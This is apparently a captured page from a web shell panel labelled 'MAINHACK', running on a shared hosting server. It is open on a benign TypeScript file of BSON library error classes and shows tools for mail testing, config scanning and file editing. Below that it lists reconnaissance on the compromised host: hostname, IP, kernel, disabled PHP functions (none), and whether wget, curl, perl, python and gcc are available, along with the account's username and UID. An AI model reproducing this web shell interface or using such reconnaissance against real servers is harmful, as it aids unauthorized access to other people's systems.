[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: error.ts
import { BSON_MAJOR_VERSION } from './constants'; /** * @public * @category Error * * `BSONError` objects are thrown when BSON encounters an error. * * This is the parent class for all the other errors thrown by this library. */ export class BSONError extends Error { /** * @internal * The underlying algorithm for isBSONError may change to improve how strict it is * about determining if an input is a BSONError. But it must remain backwards compatible * with previous minors & patches of the current major version. */ protected get bsonError(): true { return true; } override get name(): string { return 'BSONError'; } constructor(message: string, options?: { cause?: unknown }) { super(message, options); } /** * @public * * All errors thrown from the BSON library inherit from `BSONError`. * This method can assist with determining if an error originates from the BSON library * even if it does not pass an `instanceof` check against this class' constructor. * * @param value - any javascript value that needs type checking */ public static isBSONError(value: unknown): value is BSONError { return ( value != null && typeof value === 'object' && 'bsonError' in value && value.bsonError === true && // Do not access the following properties, just check existence 'name' in value && 'message' in value && 'stack' in value ); } } /** * @public * @category Error */ export class BSONVersionError extends BSONError { get name(): 'BSONVersionError' { return 'BSONVersionError'; } constructor() { super(`Unsupported BSON version, bson types must be from bson ${BSON_MAJOR_VERSION}.x.x`); } } /** * @public * @category Error * * An error generated when BSON functions encounter an unexpected input * or reaches an unexpected/invalid internal state * */ export class BSONRuntimeError extends BSONError { get name(): 'BSONRuntimeError' { return 'BSONRuntimeError'; } constructor(message: string) { super(message); } } /** * @public * @category Error * * @experimental * * An error generated when BSON bytes are invalid. * Reports the offset the parser was able to reach before encountering the error. */ export class BSONOffsetError extends BSONError { public get name(): 'BSONOffsetError' { return 'BSONOffsetError'; } public offset: number; constructor(message: string, offset: number, options?: { cause?: unknown }) { super(`${message}. offset: ${offset}`, options); this.offset = offset; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium331.web-hosting.com
Server IP: 184.94.213.169
PHP Version: 8.1.34
Server Software: LiteSpeed
System: Linux premium331.web-hosting.com 4.18.0-553.80.1.lve.el8.x86_64 #1 SMP Wed Oct 22 19:29:36 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.88 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: livedhms
User ID (UID): 1344
Group ID (GID): 1349
Script Owner UID: 1344
Current Dir Owner: 1344